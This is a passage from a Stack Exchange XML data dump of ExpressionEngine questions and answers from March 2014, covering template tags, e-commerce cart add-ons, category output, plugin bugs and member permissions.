class=&quot;icon-shopping-cart&quot;&amp;gt;&amp;lt;/i&amp;gt; Remove from Cart&#xA;&amp;lt;/button&amp;gt;&#xA;{if:else}&#xA;&amp;lt;button class=&quot;btn btn-primary btn-small&quot;&amp;gt;&#xA;&amp;lt;i class=&quot;icon-shopping-cart&quot;&amp;gt;&amp;lt;/i&amp;gt; Add to Cart&#xA;&amp;lt;/button&amp;gt;&#xA;{/if}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is resulting in 'disallowed characters' error message when its posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can remove a product using the product tag?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-03-14T04:00:23.680" Title="Exp-resso Store : Removing a Product/Item from Cart using products tag" Tags="|expresso-store|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20268" PostTypeId="1" AcceptedAnswerId="20333" CreationDate="2014-03-13T14:48:42.073" Score="0" ViewCount="88" Body="&lt;p&gt;this may be a dumb question im slightly new to EE and have read the docs for Solspace rating plugin. Basically I have a ratings for trainers. But the avatar being displayed is of the user id that i am on the {name} is fine is displaying the right name for this rating just the avatar is the same for all..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    limit=&quot;10&quot;&#xA;}&#xA;&#xA;    &amp;lt;p&amp;gt;{review}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;p&amp;gt;{stars}{rating}{/stars}&amp;lt;/p&amp;gt;&#xA;&#xA;    {if screen_name}&#xA;    &amp;lt;h6&amp;gt;{name}&amp;lt;/h6&amp;gt;&#xA;&#xA;    {if avatar}&#xA;    &amp;lt;img src=&quot;{avatar_url}&quot; width=&quot;{avatar_width}&quot; height=&quot;{avatar_height}&quot;  /&amp;gt;&#xA;    {/if} &#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;    {if rating_no_results}&#xA;        &amp;lt;p&amp;gt;Sorry, no ratings have been submitted for this entry yet.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-03-14T22:58:27.820" Title="Display Avatar for solspace rating" Tags="|members|solspace|solspace-rating|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20269" PostTypeId="1" AcceptedAnswerId="20270" CreationDate="2014-03-13T14:52:32.147" Score="0" ViewCount="417" Body="&lt;p&gt;I want to output category groups as checkboxes, I've got them outputting correctly however when they are selected and the form is submitted they aren't actually being assigned to the chosen categories suggesting I haven't got them quite right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;work&quot; return=&quot;contribute/thanks&quot;}&#xA;          &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;h2&amp;gt;Formats&amp;lt;/h2&amp;gt;&#xA;          {categories show_group=&quot;4&quot;} {!-- formats --}&#xA;            &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;            &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;{category_id}[]&quot; value=&quot;{category_id}&quot;&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;          {/categories}&#xA;&#xA;          &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what i'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-03-13T15:18:11.407" Title="Outputting categories as checkboxes - exp:channel:form / safecracker" Tags="|categories|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20270" PostTypeId="2" ParentId="20269" CreationDate="2014-03-13T15:10:37.467" Score="1" Body="&lt;p&gt;You're currently giving them all a different name, so they won't be recognised as the category field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;name=&quot;category[]&quot;&lt;/code&gt; and if that doesn't work, try &lt;code&gt;name=&quot;category[data][]&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure you add in &lt;code&gt;{selected}&lt;/code&gt; to keep the values if it returns in error.&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2014-03-13T15:10:37.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20271" PostTypeId="2" ParentId="20269" CreationDate="2014-03-13T15:18:11.407" Score="2" Body="&lt;p&gt;I am agree wiht Jammooka u must use &lt;code&gt;name=&quot;category[]&quot;&lt;/code&gt; as u can see in the document here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#categories&quot; rel=&quot;nofollow&quot;&gt;http://www.ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in your code u must use &lt;code&gt;{checked}&lt;/code&gt; instead off &lt;code&gt;{selected}&lt;/code&gt; to make it work with your checkboxes .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T15:18:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20272" PostTypeId="1" CreationDate="2014-03-13T15:25:18.497" Score="1" ViewCount="535" Body="&lt;p&gt;Hey I am trying to use conditionals with Playa. I can't seem to get the following code to work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:playa:total_parents channel='listing'} &amp;gt; '0'}&#xA;        &amp;lt;section class=&quot;listing-cards&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;gen-wrap&quot;&amp;gt;&#xA;                &amp;lt;header class=&quot;section-header light&quot;&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;Our Listings&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;              {exp:playa:parents channel=&quot;listing&quot; status=&quot;not closed&quot; show_expired=&quot;no&quot;}&#xA;                    {lv_listing_card}&#xA;              {/exp:playa:parents}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--gen-wrap--&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&amp;lt;!--listings--&amp;gt;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to show the .listing-cards section if there are no results. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2014-06-11T19:24:24.650" Title="parent total count playa conditional" Tags="|playa|conditionals|advanced-conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20273" PostTypeId="2" ParentId="20267" CreationDate="2014-03-13T15:27:48.520" Score="2" Body="&lt;p&gt;I'm not sure if there's an officially supported way to do this, however I just ran a little experiment on a Store set I'm working on right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the quantity to -1 and add the item to the cart again, it'll reduce the quantity in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could use some JavaScript to modify the value of your quantity hidden field and submit the same form and it should work.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-13T15:27:48.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20274" PostTypeId="1" AcceptedAnswerId="20277" CreationDate="2014-03-13T15:51:25.407" Score="0" ViewCount="171" Body="&lt;p&gt;I'm having issues trying to display a category name when using the related categories option. Two snippets below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;4&quot; related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And inside of the above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories limit=&quot;1&quot; show=&quot;not 1&quot;}{category_name}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I remove &lt;code&gt;related_categories_mode&lt;/code&gt; the categories will display fine, but it's unfortunately necessary for this situation.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-03-13T16:40:51.677" Title="Using categories tag pair with related categories mode" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20275" PostTypeId="2" ParentId="20272" CreationDate="2014-03-13T16:10:53.030" Score="1" Body="&lt;p&gt;First to make it clear did u use it in {channel:entries} loop if not you should , and if you want to use it outside {channel:entries} loop you must add entry_id param&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am test your code on my localhost and it's work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T16:10:53.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20276" PostTypeId="2" ParentId="20263" CreationDate="2014-03-13T16:32:26.413" Score="1" Body="&lt;p&gt;Shouldn't &lt;em&gt;need&lt;/em&gt; an addon here. Try this approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;hprod&quot;}&#xA;  &amp;lt;img src=&quot;{h_img}&quot; /&amp;gt;&#xA;  &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;   {categories}&#xA;     &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='product-range/hair'}&quot;&amp;gt;{category_name}&amp;lt;/h4&amp;gt;&#xA;   {/categories}&#xA;  {h_desc}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've a tutorial on working with EE categories on Train-ee:&#xA;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/working-with-categories/&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials/comments/working-with-categories/&lt;/a&gt; - but basically the path linking variable is smart, and knows to create category links when used inside a category loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I would use the Seg2Cat addon is if you don't want EE's native /category/ segment in the URL.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-13T16:32:26.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20277" PostTypeId="2" ParentId="20274" CreationDate="2014-03-13T16:40:51.677" Score="2" Body="&lt;p&gt;yes &lt;code&gt;{categories}&lt;/code&gt; loop not working with &lt;code&gt;related_categories_mode&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can work around this problem using &lt;code&gt;{embed}&lt;/code&gt; template and pass the entry_id to it then call &lt;code&gt;{categories}&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use addons Like gwcode_categories  &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/examples/example1&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/examples/example1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and get the categories info for the current entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-13T16:40:51.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20278" PostTypeId="1" AcceptedAnswerId="20727" CreationDate="2014-03-13T16:47:55.037" Score="1" ViewCount="186" Body="&lt;p&gt;I want to use flat shipping rates for my store and also want to set one rate for orders in the US &amp;amp; another rate for International orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this on a per item basis?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-03-27T15:42:45.247" Title="Expresso Store: Per Item Shipping" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20279" PostTypeId="1" CreationDate="2014-03-13T16:59:55.253" Score="1" ViewCount="493" Body="&lt;p&gt;Is there a way (most likely with a plugin) to populate a select dropdown channel field from another field within the same entry? What I'd like is to be able to add links and relate them to another field within the same entry. &lt;/p&gt;&#xA;" OwnerUserId="2845" LastActivityDate="2014-03-13T16:59:55.253" Title="Is there a way to populate the menu for a Select dropdown from another channel field, but limit it to that entry" Tags="|drop-down|pre-populate|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20280" PostTypeId="1" AcceptedAnswerId="20281" CreationDate="2014-03-13T17:36:05.833" Score="0" ViewCount="103" Body="&lt;p&gt;I have a development site that I've currently set as offline. I created a content administrator members group (which currently has one member) and gave the group permission to view the site when offline. When the one member logs in and attempts to view the site she sees the site offline page. However, when I log in as the same member (same UN, same pass) on my computer I am able to see the site. Thinking that some of my superAdmin privileges might be stored somewhere in my browser I tried logging on as her in a different browser, different computer, and my iPad. In each case I got the same result. I could log in with her credentials and see the site. We set up an Adobe Connect meeting so I can confirm the issue she's having. She's using Firefox in Windows 7, logging in correctly, trying to access the site from the upper right hand link on the CP....and nothing. Based on my tests it seems like the issue is isolated to her system. Can anyone provide some insight to what the problem may be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2014-03-13T17:59:18.500" Title="View system when offline issue" Tags="|permissions|system|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20281" PostTypeId="2" ParentId="20280" CreationDate="2014-03-13T17:59:18.500" Score="1" Body="&lt;p&gt;Sounds like a caching issue with the other user's device; advise them to attempt to login using a different device and/or browser, or have them clear their cache, whichever's easier.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-13T17:59:18.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20282" PostTypeId="1" CreationDate="2014-03-13T18:23:31.247" Score="1" ViewCount="99" Body="&lt;p&gt;I'm using the Antenna plugin to display a YouTube video on a website. The strange thing is that there's a close bracket ')' being inserted after the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out where it's coming from as there are no closing brackets in the template anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the page (click on the video on the right-hand side): &lt;a href=&quot;http://dev.whelanservices.com/pest-prevention&quot; rel=&quot;nofollow&quot;&gt;http://dev.whelanservices.com/pest-prevention&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;pest-prevention-video&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;video-container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;video-area&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;videos&quot; dynamic=&quot;no&quot; status=&quot;open&quot; entry_id=&quot;57&quot;}&#xA;            {exp:antenna url='{video_url}' max_width=&quot;900&quot; max_height=&quot;&quot; cache_minutes=&quot;120&quot; youtube_rel=&quot;0&quot;}&#xA;                {embed_code}&#xA;            {/exp:antenna}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="197" LastEditDate="2014-03-13T19:27:33.377" LastActivityDate="2014-04-12T20:10:28.160" Title="Antenna plugin - bracket being inserted" Tags="|plugin|debugging|video|antenna|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20283" PostTypeId="2" ParentId="20282" CreationDate="2014-03-13T19:47:08.137" Score="1" Body="&lt;p&gt;I had a client mention it a couple of days ago. That code is actually coming directly from Youtube's embed code. I reported it to Google yesterday but they don't seem to care. If you go to any Youtube video &gt; Share &gt; Embed you'll see it right after the closing iframe tag.&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2014-03-13T19:47:08.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20284" PostTypeId="1" AcceptedAnswerId="20285" CreationDate="2014-03-13T19:55:23.527" Score="0" ViewCount="124" Body="&lt;p&gt;After updating to ExpressionEngine 2.7.3 from ExpressionEngine 2.5.5 I get a &quot;You are not authorized to perform this action&quot; form error when attempting to update an entry created by another author. After turning on every option available in the member group that is attempting to make the edit I then get another error when attempting to edit the same entry &quot;The selected author is invalid&quot;.&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-03-13T19:55:23.527" Title="Can't edit entry created by another user after update to EE 2.7.3" Tags="|members|member-management|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20285" PostTypeId="2" ParentId="20284" CreationDate="2014-03-13T19:55:23.527" Score="0" Body="&lt;p&gt;Know solution in the EllisLab bug reports:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20084&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/20084&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Please make sure these seemingly unrelated settings are set:&lt;/p&gt;&#xA;&lt;p&gt;The original author’s group has to have “Include Members in PUBLISH page multi-author list?” set to “Yes”&lt;/p&gt;&#xA;&lt;p&gt;The person attempting to make the edit must have “Can change the author name when posting channel entries” set to “Yes”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="278" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-03-13T19:55:23.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20287" PostTypeId="1" AcceptedAnswerId="21157" CreationDate="2014-03-13T20:44:38.700" Score="0" ViewCount="88" Body="&lt;p&gt;We're getting the following error when we upgrade to 2.8 and 1.6 transcribe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in /httpdocs/system/expressionengine/third_party/transcribe/mod.transcribe.php on line 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Think it must be due to them require PHP 5.3+ but we're running 5.2.10, anyone able to recommend a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-04-11T11:54:56.537" Title="EEHarbor Transcribe 1.6 and EE 2.8 - error" Tags="|ee2-upgrades|transcribe|eeharbor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20288" PostTypeId="1" CreationDate="2014-03-13T22:00:04.323" Score="0" ViewCount="95" Body="&lt;p&gt;Folks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has a number of products that do not ship outside of North America (most ship anywhere). I am using the is_in_cart tag (&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/is_in_cart/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/is_in_cart/&lt;/a&gt;) to check if non-shippable items are in the cart. There are 18 items that don't ship outside North America.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have a long OR statement to deal with this ({exp:cartthrob:is_in_cart entry_id=&quot;301&quot;} OR {exp:cartthrob:is_in_cart entry_id=&quot;302&quot;} OR {exp:cartthrob:is_in_cart entry_id=&quot;303&quot;} etc.). This isn't too bad. Problem is, though, that the site is going multilingual. This means 18 more checks for every new language. With 6 languages total, that's a crazy number of OR statements and will be a big performance hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if I could just check against a single category. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-05-14T17:21:07.393" Title="Check if item is in cart using categories" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20289" PostTypeId="2" ParentId="20278" CreationDate="2014-03-13T23:59:20.243" Score="1" Body="&lt;p&gt;If you are using the default shipping plugin you should be able to create a rule for the US and a rule below it with the country set to &quot;any&quot;. In Store with the default shipping method rules are evaluated from top to bottom so people in the US would get the US rate and everyone else would get the rate set for &quot;any&quot;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-03-13T23:59:20.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20290" PostTypeId="1" AcceptedAnswerId="20293" CreationDate="2014-03-14T03:31:23.903" Score="0" ViewCount="50" Body="&lt;p&gt;So I have imported a couple hundred users into my site, and in the importer settings it is set to &quot;Automatically Create&quot; for passwords. How do I get those passwords for those new members so I can give it to them? Or explain exactly what this does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2014-03-14T07:07:42.197" Title="Solspace Importer - Get generated password" Tags="|solspace|password|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20291" PostTypeId="2" ParentId="19758" CreationDate="2014-03-14T03:58:56.887" Score="1" Body="&lt;p&gt;Have a look at this question on StackOverflow: &lt;a href=&quot;https://stackoverflow.com/questions/4640807/how-to-block-bot-requests-to-urls-that-match-a-common-pattern-in-apache&quot;&gt;How to block bot requests to URLs that match a common pattern in Apache?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop this in your .htaccess file.  It will match any variation of the querystring that you seem to be getting spammed on. With this mod_rewrite rule, if a querystring tries to fire &lt;code&gt;ACT=8&lt;/code&gt;, the Apache will simply respond with a 403 Forbidden.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{QUERY_STRING} ^.*(ACT=8).* [NC]&#xA;RewriteRule ^.*$ - [F,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-03-14T03:58:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20292" PostTypeId="2" ParentId="20267" CreationDate="2014-03-14T04:00:23.680" Score="2" Body="&lt;p&gt;As well as posting an &lt;code&gt;item_qty&lt;/code&gt; of &lt;code&gt;-1&lt;/code&gt; (as Jeremy mentioned), you are also able to override the quantity of an item in the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of submitting an &lt;code&gt;item_qty&lt;/code&gt; field, use &lt;code&gt;update_qty&lt;/code&gt;. So you could use a hidden field to explicitly set the quantity of a particular item to 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;update_qty&quot; value=&quot;0&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-14T04:00:23.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20293" PostTypeId="2" ParentId="20290" CreationDate="2014-03-14T07:07:42.197" Score="2" Body="&lt;p&gt;Automatic creation of password is exactly that: it automatically creates passwords for your users. These are random passwords, which are immediately encoded during the member import. This means that you cannot retrieve these passwords to send to users. Also, you cannot import your own passwords. From the in-add-on instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For security reasons, the Password field cannot be imported. If a new member is being created, a random password will be created automatically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, after having their account imported/created, users can update their account with their own passwords by using EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/member/#forgotten-password&quot; rel=&quot;nofollow&quot;&gt;forgot password&lt;/a&gt; functionality.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-14T07:07:42.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20294" PostTypeId="1" CreationDate="2014-03-14T09:18:36.763" Score="2" ViewCount="93" Body="&lt;p&gt;I'm using EE 2.8.0 and updated to Wygwam 3.3. I'm adding some advanced settings in the Wygwam configuration (eg.g for the Basic set) in the CP - when saving and going back to the Wygwam configuration page, all the advanced settings are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experiencing the same problem?&lt;/p&gt;&#xA;" OwnerUserId="2847" LastActivityDate="2014-05-20T18:56:19.413" Title="Advanced Settings don't get saved (Wygwam)" Tags="|wygwam|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20295" PostTypeId="1" CreationDate="2014-03-14T09:39:53.000" Score="1" ViewCount="81" Body="&lt;p&gt;This is more of a sales question about CartThrob, but as we're unable to get through to their offices at the moment I thought I'd ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we want to know if after a year or so we'll get some sort of un-expected renewal request from mightybigrobot. I think the answer is almost certainly no but need to double check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, does anyone know what sort of patching, updates, new versions we're to expect with cartthrob?&lt;/p&gt;&#xA;" OwnerUserId="2848" LastActivityDate="2014-04-17T22:39:31.507" Title="Are there any ongoing costs for cartthrob &amp; what upgrades do you get?" Tags="|cartthrob|upgrade|bug|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20296" PostTypeId="2" ParentId="20295" CreationDate="2014-03-14T09:42:27.073" Score="1" Body="&lt;p&gt;No, there are no ongoing licensing costs for CartThrob. It's a one off purchase for the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they also offer telephone support packages now which I would imagine would be an annual cost.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-14T09:42:27.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20297" PostTypeId="1" AcceptedAnswerId="20313" CreationDate="2014-03-14T11:11:00.733" Score="2" ViewCount="378" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I can do &quot;exact&quot; and &quot;contains&quot; matching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do a &quot;starts with&quot; search? For example, lets say I have this entries in the database&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Web design&lt;/li&gt;&#xA;&lt;li&gt;Web development&lt;/li&gt;&#xA;&lt;li&gt;SEO and Web Marketing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;when I search for &lt;code&gt;web&lt;/code&gt;, I want to get the first and second entries but NOT the third.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-03-14T13:56:58.230" Title="Channel Entries - Is it possible to search title field with starts with?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20298" PostTypeId="2" ParentId="20295" CreationDate="2014-03-14T11:12:20.453" Score="0" Body="&lt;p&gt;They offer paid phone support at $120/hr: &lt;a href=&quot;http://paidsupport.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://paidsupport.mightybigrobot.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For updates, see  &lt;a href=&quot;http://cartthrob.com/docs/pages/change_log/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/pages/change_log/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-03-14T11:12:20.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
